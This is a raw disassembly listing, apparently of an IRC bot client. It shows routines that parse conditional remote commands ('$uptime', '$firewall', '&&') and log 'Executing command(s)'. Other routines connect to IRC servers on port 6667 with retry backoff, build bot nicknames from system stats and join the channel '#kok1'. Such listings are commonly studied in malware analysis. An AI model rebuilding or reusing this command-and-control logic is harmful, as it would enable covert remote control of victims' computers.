		add	esp, 0Ch
		push	1
		push	1
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407C2C
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		and	[ebp+var_C], 0


loc_40CAE1:				; CODE XREF: sub_40CA29+475j
		cmp	[ebp+var_4], 0
		jnz	short loc_40CAEC
		jmp	loc_40CEA3
; ---------------------------------------------------------------------------


loc_40CAEC:				; CODE XREF: sub_40CA29+BCj
					; sub_40CA29+D7j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40CAF9
		jmp	short loc_40CB02
; ---------------------------------------------------------------------------


loc_40CAF9:				; CODE XREF: sub_40CA29+CCj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40CAEC
; ---------------------------------------------------------------------------


loc_40CB02:				; CODE XREF: sub_40CA29+CEj
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		push	offset a32s16s32s ; "%32s %16s %32s"
		push	[ebp+var_4]
		call	sub_416BA2	; sscanf
		add	esp, 14h
		cmp	eax, 3
		jz	short loc_40CB33
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CB33:				; CODE XREF: sub_40CA29+101j
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1A4], eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1A8], eax
		cmp	[ebp+var_1A4], 0
		jnz	loc_40CC6E
		push	offset dword_418F50
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CC6E
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBB1
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A4], eax
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBB1:				; CODE XREF: sub_40CA29+16Dj
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBD7
		mov	[ebp+var_1A4], 3B7h
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBD7:				; CODE XREF: sub_40CA29+19Dj
		push	offset aFree	; "$free"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBFB
		call	sub_408E8E
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBFB:				; CODE XREF: sub_40CA29+1C3j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC1F
		call	sub_408887
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC1F:				; CODE XREF: sub_40CA29+1E7j
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC43
		call	sub_404279
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC43:				; CODE XREF: sub_40CA29+20Bj
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC67
		call	sub_4043E9
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC67:				; CODE XREF: sub_40CA29+22Fj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CC6E:				; CODE XREF: sub_40CA29+137j
					; sub_40CA29+152j ...
		cmp	[ebp+var_1A8], 0
		jnz	loc_40CD83
		push	offset dword_418F50
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CD83
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCC6
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A8], eax
		jmp	loc_40CD83
; ---------------------------------------------------------------------------


loc_40CCC6:				; CODE XREF: sub_40CA29+282j
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCEC
		mov	[ebp+var_1A8], 3B7h
		jmp	loc_40CD83
; ---------------------------------------------------------------------------


loc_40CCEC:				; CODE XREF: sub_40CA29+2B2j
		push	offset aFree	; "$free"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD10
		call	sub_408E8E
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD10:				; CODE XREF: sub_40CA29+2D8j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD34
		call	sub_408887
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD34:				; CODE XREF: sub_40CA29+2FCj
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD58
		call	sub_404279
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD58:				; CODE XREF: sub_40CA29+320j
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD7C
		call	sub_4043E9
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD7C:				; CODE XREF: sub_40CA29+344j
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CD83:				; CODE XREF: sub_40CA29+24Cj
					; sub_40CA29+267j ...
		push	offset asc_419F5C ; "=="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDAF
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jz	short loc_40CDAF
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CDAF:				; CODE XREF: sub_40CA29+36Fj
					; sub_40CA29+37Dj
		push	offset asc_419F58 ; "!="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDDB
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnz	short loc_40CDDB
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CDDB:				; CODE XREF: sub_40CA29+39Bj
					; sub_40CA29+3A9j
		push	offset asc_419F54 ; ">"
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE07
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		ja	short loc_40CE07
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE07:				; CODE XREF: sub_40CA29+3C7j
					; sub_40CA29+3D5j
		push	offset asc_419F50 ; ">="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE30
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnb	short loc_40CE30
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE30:				; CODE XREF: sub_40CA29+3F3j
					; sub_40CA29+401j
		push	offset dword_419968
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE59
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jb	short loc_40CE59
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE59:				; CODE XREF: sub_40CA29+41Cj
					; sub_40CA29+42Aj
		push	offset asc_419F4C ; "<="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE82
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jbe	short loc_40CE82
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE82:				; CODE XREF: sub_40CA29+445j
					; sub_40CA29+453j
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		jmp	loc_40CAE1
; ---------------------------------------------------------------------------


loc_40CEA3:				; CODE XREF: sub_40CA29+BEj
		mov	eax, [ebp+var_10]
		inc	eax
		push	eax
		call	sub_40C916
		pop	ecx

locret_40CEAE:				; CODE XREF: sub_40CA29+1Cj
					; sub_40CA29+42j ...
		leave
		retn
sub_40CA29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEB0	proc near		; CODE XREF: sub_40A9CF+14CEp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		call	sub_40CA29
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40CEC9
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------


loc_40CEC9:				; CODE XREF: sub_40CEB0+15j
		push	327h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40CEDF
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------


loc_40CEDF:				; CODE XREF: sub_40CEB0+2Bj
		push	180h
		push	[ebp+var_8]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 184h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		push	offset aExecutingComma ; "Executing command(s):	%s"
		push	0
		push	[ebp+var_4]
		push	offset loc_40C93C
		call	sub_4095A4
		add	esp, 14h

locret_40CF23:				; CODE XREF: sub_40CEB0+17j
					; sub_40CEB0+2Dj
		leave
		retn
sub_40CEB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF25	proc near		; CODE XREF: cAddress:00402175p
					; sub_40D871+59Bp ...
		push	ebp
		mov	ebp, esp
		mov	eax, dword_41E974
		pop	ebp
		retn
sub_40CF25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF2F	proc near		; CODE XREF: sub_40D366+Dp
					; sub_40D366+8Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_40CF9E
		push	[ebp+arg_0]
		push	offset dword_41E868
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_40CF60
		push	[ebp+arg_4]
		push	offset dword_41E968
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF71
; ---------------------------------------------------------------------------


loc_40CF60:				; CODE XREF: sub_40CF2F+1Ej
		push	offset a6667	; "6667"
		push	offset dword_41E968
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40CF71:				; CODE XREF: sub_40CF2F+2Fj
		cmp	[ebp+arg_8], 0
		jz	short loc_40CF88
		push	[ebp+arg_8]
		push	offset byte_41E6E8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF99
; ---------------------------------------------------------------------------


loc_40CF88:				; CODE XREF: sub_40CF2F+46j
		push	offset byte_41DE00
		push	offset byte_41E6E8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40CF99:				; CODE XREF: sub_40CF2F+57j
		jmp	loc_40D020
; ---------------------------------------------------------------------------


loc_40CF9E:				; CODE XREF: sub_40CF2F+9j
		and	[ebp+var_4], 0
		jmp	short loc_40CFAB
; ---------------------------------------------------------------------------


loc_40CFA4:				; CODE XREF: sub_40CF2F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40CFAB:				; CODE XREF: sub_40CF2F+73j
		mov	eax, [ebp+var_4]
		imul	eax, 0Ch
		cmp	off_41DA40[eax], 0
		jz	short loc_40CFBC
		jmp	short loc_40CFA4
; ---------------------------------------------------------------------------


loc_40CFBC:				; CODE XREF: sub_40CF2F+89j
		call	sub_410422
		xor	edx, edx
		div	[ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DA40[eax]
		push	offset dword_41E868
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DA44[eax]
		push	offset dword_41E968
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		cmp	off_41DA48[eax], 0
		jz	short loc_40D020
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DA48[eax]
		push	offset byte_41E6E8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D020:				; CODE XREF: sub_40CF2F:loc_40CF99j
					; sub_40CF2F+D7j
		push	offset dword_41E868
		call	sub_4105AD
		pop	ecx
		push	offset dword_41E968
		call	sub_4105AD
		pop	ecx
		push	offset byte_41E6E8
		call	sub_4105AD
		pop	ecx
		leave
		retn
sub_40CF2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D043	proc near		; CODE XREF: sub_40D366+7Fp
					; sub_40D871+619p

var_250		= dword	ptr -250h
var_24C		= byte ptr -24Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
var_184		= byte ptr -184h
var_104		= byte ptr -104h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		movsx	eax, byte_41E6E8
		test	eax, eax
		jz	short loc_40D099
		push	offset byte_41E6E8
		call	sub_4105FB
		pop	ecx
		push	offset byte_41E6E8
		push	offset aPassS	; "PASS	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset byte_41E6E8
		call	sub_4105AD
		pop	ecx


loc_40D099:				; CODE XREF: sub_40D043+2Dj
		cmp	[ebp+arg_0], 0
		jz	loc_40D132
		movsx	eax, byte_41EE98
		test	eax, eax
		jz	short loc_40D0C3
		push	offset byte_41EE98
		lea	eax, [ebp+var_184]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D0D6
; ---------------------------------------------------------------------------


loc_40D0C3:				; CODE XREF: sub_40D043+69j
		lea	eax, [ebp+var_184]
		push	eax
		push	offset byte_41EE98
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D0D6:				; CODE XREF: sub_40D043+7Ej
		movsx	eax, byte_41F018
		test	eax, eax
		jz	short loc_40D0F6
		push	offset byte_41F018
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D109
; ---------------------------------------------------------------------------


loc_40D0F6:				; CODE XREF: sub_40D043+9Cj
		lea	eax, [ebp+var_104]
		push	eax
		push	offset byte_41F018
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D109:				; CODE XREF: sub_40D043+B1j
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		push	offset aUserSSSS ; "USER %s %s %s :%s"
		call	sub_40D6CB
		add	esp, 14h


loc_40D132:				; CODE XREF: sub_40D043+5Aj
		cmp	[ebp+arg_4], 0
		jz	loc_40D363
		cmp	[ebp+arg_0], 0
		jz	short loc_40D163
		movsx	eax, byte_41EE18
		test	eax, eax
		jz	short loc_40D163
		push	offset byte_41EE18
		push	offset aNickS	; "NICK	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40D363
; ---------------------------------------------------------------------------


loc_40D163:				; CODE XREF: sub_40D043+FDj
					; sub_40D043+108j
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_188], eax
		cmp	[ebp+var_188], 4
		jnb	short loc_40D18D
		call	sub_406AE7
		test	eax, eax
		jz	loc_40D31F


loc_40D18D:				; CODE XREF: sub_40D043+13Bj
		call	sub_406A23
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_408342
		pop	ecx
		test	eax, eax
		jnz	short loc_40D1B6
		push	offset aUnk	; "UNK"
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D1B6:				; CODE XREF: sub_40D043+15Ej
		call	sub_408E8E
		cmp	eax, 400h
		jbe	short loc_40D1CF
		call	sub_408E8E
		mov	[ebp+var_250], eax
		jmp	short loc_40D1D9
; ---------------------------------------------------------------------------


loc_40D1CF:				; CODE XREF: sub_40D043+17Dj
		mov	[ebp+var_250], 400h


loc_40D1D9:				; CODE XREF: sub_40D043+18Aj
		mov	eax, [ebp+var_250]
		shr	eax, 0Ah
		mov	[ebp+var_228], eax
		call	sub_408887
		mov	[ebp+var_18C], eax
		mov	[ebp+var_224], offset aB ; "B"
		cmp	[ebp+var_18C], 2EEh
		jnb	short loc_40D213
		mov	[ebp+var_224], offset aA ; "A"


loc_40D213:				; CODE XREF: sub_40D043+1C4j
		cmp	[ebp+var_18C], 1F4h
		jnb	short loc_40D229
		mov	[ebp+var_224], offset aG ; "G"


loc_40D229:				; CODE XREF: sub_40D043+1DAj
		and	[ebp+var_22C], 0
		mov	[ebp+var_220], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_21C]
		rep stosd
		lea	eax, [ebp+var_220]
		push	eax
		call	dword_417030	; GetVersionExA
		cmp	[ebp+var_21C], 5
		jnz	short loc_40D270
		cmp	[ebp+var_218], 1
		jnz	short loc_40D270
		mov	[ebp+var_22C], 1


loc_40D270:				; CODE XREF: sub_40D043+218j
					; sub_40D043+221j
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		cmp	[ebp+var_22C], 0
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	[ebp+var_224]
		push	[ebp+var_228]
		push	5Dh
		push	[ebp+var_188]
		push	5Bh
		push	5Dh
		lea	eax, [ebp+var_24C]
		push	eax
		push	5Bh
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 34h
		movsx	eax, byte_41DB00
		test	eax, eax
		jz	short loc_40D31D
		push	offset byte_41DB00
		push	offset aKok1	; "#kok1"
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset aKok1	; "#kok1"
		call	sub_4105FB
		pop	ecx
		movsx	eax, byte_41DB80
		test	eax, eax
		jz	short loc_40D31D
		push	offset byte_41DB80
		push	offset dword_41ED18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41ED18
		call	sub_4105FB
		pop	ecx


loc_40D31D:				; CODE XREF: sub_40D043+295j
					; sub_40D043+2BCj
		jmp	short loc_40D343
; ---------------------------------------------------------------------------


loc_40D31F:				; CODE XREF: sub_40D043+144j
		push	offset aRONa	; "àÃЮ¼³­"
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40D7E5
		pop	ecx


loc_40D343:				; CODE XREF: sub_40D043:loc_40D31Dj
		lea	eax, [ebp+var_80]
		push	eax
		push	offset aNickS	; "NICK	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		push	offset byte_41EE18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D363:				; CODE XREF: sub_40D043+F3j
					; sub_40D043+11Bj
		pop	edi
		leave
		retn
sub_40D043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D366	proc near		; CODE XREF: sub_40A9CF+1521p
					; sub_40D871+4A7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF2F
		add	esp, 0Ch
		push	dword_41E974
		call	sub_40538D
		pop	ecx
		mov	[ebp+var_4], 0EA60h


loc_40D38E:				; CODE XREF: sub_40D366:loc_40D419j
		push	offset dword_41E868
		call	sub_4105FB
		pop	ecx
		push	offset dword_41E968
		call	sub_4105FB
		pop	ecx
		push	2710h
		push	1
		push	offset dword_41E968
		push	offset dword_41E868
		call	sub_4050EA
		add	esp, 10h
		mov	dword_41E974, eax
		push	offset dword_41E868
		call	sub_4105AD
		pop	ecx
		push	offset dword_41E968
		call	sub_4105AD
		pop	ecx
		cmp	dword_41E974, 0
		jz	short loc_40D3EE
		push	1
		push	1
		call	sub_40D043
		pop	ecx
		pop	ecx
		jmp	short locret_40D41E
; ---------------------------------------------------------------------------


loc_40D3EE:				; CODE XREF: sub_40D366+79j
		push	0
		push	0
		push	0
		call	sub_40CF2F
		add	esp, 0Ch
		push	[ebp+var_4]
		call	dword_41709C	; Sleep
		cmp	[ebp+var_4], 0A4CB80h
		jge	short loc_40D419
		mov	eax, [ebp+var_4]
		add	eax, 0EA60h
		mov	[ebp+var_4], eax


loc_40D419:				; CODE XREF: sub_40D366+A6j
		jmp	loc_40D38E
; ---------------------------------------------------------------------------

locret_40D41E:				; CODE XREF: sub_40D366+86j
		leave
		retn
sub_40D366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D420	proc near		; CODE XREF: cAddress:004022A0p
					; sub_40A9CF+1219p ...

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		push	[ebp+arg_0]
		push	offset aNoticeS	; "NOTICE %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_8]
		lea	eax, [ebp+eax+var_1008]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_41E974
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D420	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4AB	proc near		; CODE XREF: cAddress:004022DDp
					; cAddress:004034D1p ...

var_1008	= dword	ptr -1008h
var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		push	[ebp+arg_0]
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_1008],	eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_1008]
		push	eax
		mov	eax, [ebp+var_1008]
		lea	eax, [ebp+eax+var_1004]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	dword_41E974
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D4AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D53F	proc near		; CODE XREF: cAddress:00401295p
					; cAddress:00401662p ...

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+198h]
		test	eax, eax
		jz	short loc_40D55F
		jmp	locret_40D6C9
; ---------------------------------------------------------------------------


loc_40D55F:				; CODE XREF: sub_40D53F+19j
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 1
		jnz	short loc_40D58F
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset aNoticeS	; "NOTICE %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D58F:				; CODE XREF: sub_40D53F+2Ej
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jnz	short loc_40D5BB
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset dword_41A058
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D5BB:				; CODE XREF: sub_40D53F+5Aj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D5E7
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset dword_41A048
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D5E7:				; CODE XREF: sub_40D53F+86j
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
